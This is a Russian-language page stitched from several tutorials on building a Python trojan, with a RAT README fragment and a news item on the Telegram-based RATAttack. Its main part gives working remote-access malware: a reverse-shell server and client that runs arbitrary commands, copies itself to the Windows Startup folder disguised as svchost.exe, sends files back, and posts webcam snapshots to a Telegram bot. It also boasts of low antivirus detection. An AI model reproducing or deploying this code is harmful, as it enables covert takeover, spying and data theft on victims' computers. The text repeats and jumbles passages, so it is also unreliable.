Крадущийся питон. Создаем простейший троян на Python
Содержание статьи
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Вывести информацию еще проще:
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Как написать троян на Python
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Вывести информацию еще проще:
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip wbr / > install ):
Пишем базовую информацию о себе:
Дальше сформируем письмо:
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
Полный код этой части трояна:
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Текущая кодовая страница
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Делаем свою крысу. RAT на Python
Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.
С другой стороны, брандмауэры обычно вообще не ограничивают исходящие соединения. Поэтому злоумышленник может установить сервер на своей машине и создать обратное соединение. Все что нужно — это машина имеющая статический IP-адрес, открытый порт и инструмент, такой как netcat, для создания слушателя и привязки к нему доступа оболочки.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.
Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:
И сам реверс шел на пайтоне:
Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:
Создание программы
Сервер
Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.
Импортируем библиотеки и создаем ключевую переменную:
import socket
import sys
HOST = ‘IP’ # Айпи атакующего (Ваш)
s = socket.socket(socket.AF_INET, sock et.SOCK_STREAM)
Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:
# Проверка был ли введен порт для прослушивания
try:
PORT = int(sys.argv[1])
except Exception as ex:
print(‘Usage: python3 reverse_shell_server.py
Если введена команда python3 reverse_shell_server.py, то мы выведем сообщение о том, что порт не был указан:
Usage: python3 reverse_shell_server.py
Главная функция в которой будет обработчик команд:
def main():
# Ожидание подключения
s.bind((HOST, PORT))
s.listen(10)
print(‘RSBF server listening on port <>. ‘.format(PORT))
# Принятие подключения
conn, _ = s.accept()
# Обработчик команд
while True:
# Переменная с командой
cmd = input(‘RSBF> ‘).rstrip()
# Отправляем команды клиенту
conn.send(bytes(cmd, encoding=»utf-8″, errors=»ignore»))
# Останавливаем сервер
if cmd == ‘exitrat’:
s.close()
sys.exit(0)
# Функция загрузки файлов
if cmd == «downloadfile»:
# Имя файла в который будут записаны байты
f = open(«FILENAME», «wb»)
while True:
# Получаем байты
data = conn.recv(4096)
if not data:
break
# Записываем байты в файл
f.write(data)
f.close()
print(‘Done sending\n’)
# Переменная с ответом от сервера
data = conn.recv(4096)
print(str(data, encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Клиент
Нужные переменные и библиотеки:
import os
import socket
import subprocess
from time import sleep
# Айпи атакующего
HOST = ‘IP’
# PПорт на который клиент будет подключатся
PORT = 9999
Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:
def auto_run():
# Имя скомпилированного файла
filename = «program54.exe»
# Имя пользователя Windows
username = os.getlogin()
# Путь к папке с автозагрузкой
startup = (r’C:/Users/’ + username + r’/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/’)
# Проверка существует ли файл в автозагрузке
if os.path.exists(str(startup + r’svchost.exe’)) == True:
# Отправляем сообщение на сервер
s.send(bytes(«\nRAT already at startup folder\n», encoding=»utf-8″, errors=»ignore»))
else:
os.system(«copy » + filename + » » + ‘»‘ + startup + ‘»‘ + r’svchost.exe’)
# Отправляем сообщение на сервер
s.send(bytes(«\nRAT added at startup folder\n», encoding=»utf-8″, errors=»ignore»))
Если файл уже находится в автозагрузке, то на сервер придет сообщение:
RAT already at startup folder
Если же файл добавился в автозагрузку:
RAT added at startup folder
Функция подключение к серверу:
# Функция подключения
def main():
try:
s.connect((HOST, PORT))
session()
except:
sleep(500)
s.connect((HOST, PORT))
session()
s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.
session() – запустит функцию которую мы сейчас напишем.
# Обработчик команд
def session():
while True:
data = s.recv(1024)
cmd = str(data, encoding=»utf-8″, errors=»ignore»)
if cmd == ‘shutdownrat’:
s.close()
exit(0)
Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:
If cmd == ‘название_команды’
Функция которую вы хотите выполнять
s.send(bytes(вывод функции, encoding=»utf-8″, errors=»ignore»))
# AUTORUN
elif cmd == «autorun»:
auto_run()
# CD
elif cmd[:2] == «cd»:
try:
# Отправка аргументов команды в os.chdir
os.chdir(data[3:])
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
# PWD
elif cmd == «pwd»:
try:
# Переменная с текущей директорией
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:
# Если длина команды > 0, посылаем ее в консоль subprocess
elif len(cmd) > 0:
try:
command = subprocess.Popen(data[:].decode(«utf-8»), shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
# Переменная с ответом от subprocess
output_byte = command.stdout.read() + command.stderr.read()
# Конвертируем output_byte в строку
output_str = str(output_byte, «utf-8″, errors=»ignore»)
# Отправляем output_str на сервер
s.send(bytes(output_str, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Функция скачивания файлов:
# GETFILE
elif cmd == «getfile»:
try:
# Имя файла для отправки
file_to_send = «FILENAME»
# Открытие файла
f = open(file_to_send, «rb»)
# Отправка файла
data_to_send = f.read()
s.send(data_to_send)
f.close()
s.send(bytes(«\nFile has been sent\n» + «\n», encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:
from requests import post
try:
camera_port = 0
cap = VideoCapture(camera_port, CAP_DSHOW)
for i in range(30):
cap.read()
ret, frame = cap.read()
imwrite(r»C:\Windows\Temp\screen.png», frame)
cap.release()
destroyAllWindows()
photo = open(r»C:\Windows\Temp\screen.png», ‘rb’)
files = <'document': photo>
post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id, files=files)
photo.close()
os.system(r»del C:\Windows\Temp\screen.png»)
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Ну и в обработчике команд это будет выглядеть следующим образом:
elif cmd == «webcam»:
try:
web_cam()
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Заключение
Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!
Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:
Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.
Как написать ратник на python
Microsoft Windows Remote Administrator Tool
Developer: Ahoora Mansouri
Powered By The404Hacking
Digital Security ReSearch Group
Robot for initial Windows-Python-RAT testing
Example for Replace Token:
Video Tutorial Setting Up a Startup on a RAT: Watch
Windows-Python-RAT requires Python version 2.7.x
Download Python Version 2.7.13: Click Here
Learning Install Python on Microsoft Windows: Click Here
To use the Windows-Python-RAT, you need to install the following modules in your python.
For automatic installation, you can first open the Setup.py ( python Setup.py ) file and select the [1] Install Module option.
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar File is: @The404Hacking
AutoPy Module in Python
learning Install AutoPy Module on Python 2: Watch
Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.
Password autopy-[@The404Hacking].rar File is: @The404Hacking
Clone and Run Setup
Download and Clone
The404Hacking | Digital UnderGround Team
RAT вирус написанный на Python использует протокол Telegram
Недавно был создан Remote Access Trojan (RAT), который использует протокол Telegram для кражи пользовательских данных через зараженное устройство. RAT написан в Python и в данный момент находится в свободном доступе для скачивания на порталах обмена кодами (Github).
Создатель RAT, утверждает, что целью создания RAT была исключительно оптимизация и улучшение выполняемой работы для RAT. Автор подчеркивает, что главная проблема с большей частью RAT в том, что они не используют шифрование и запрашивают включение переадресации порта на устройстве жертвы для контроля зараженных хостов. Разработчик предлагает его собственный инструмент, под названием RATAtack, который использует протокол Telegram для поддержки зашифрованного канала жертвы и создателя канала, и не требует переадресации портов, так как протокол Telegram предусматривает простой метод связи с целью без предварительной настройки порта.
RAT работает через ботов в Telegram
Перед появлением RATatack, пользователь RAT должен создать бота в Telegram, взять маркер этого бота и поместить его в конфигурационный файл RAT. После заражения жертвы RATAttack, все хосты соединяются с каналом бота. Владелец RATAttack может подключиться к тому же каналу и пользоваться простыми инструкциями для управления клиентами RATatack в зараженных хостах. В соответствии с нынешней версией RATAttack, поддерживаются следующие команды:
Интерфейс RAT в Telegram
Ниже указаны некоторые функции RATAttack, а также находящиеся в доработке:
Функции в разработке:
RATAttack написан на Python 2.7, но автор обещал версию для Python 3.X.
Мистический «отказ от ответственности» будет держать плохих ребят подальше
Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.
Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.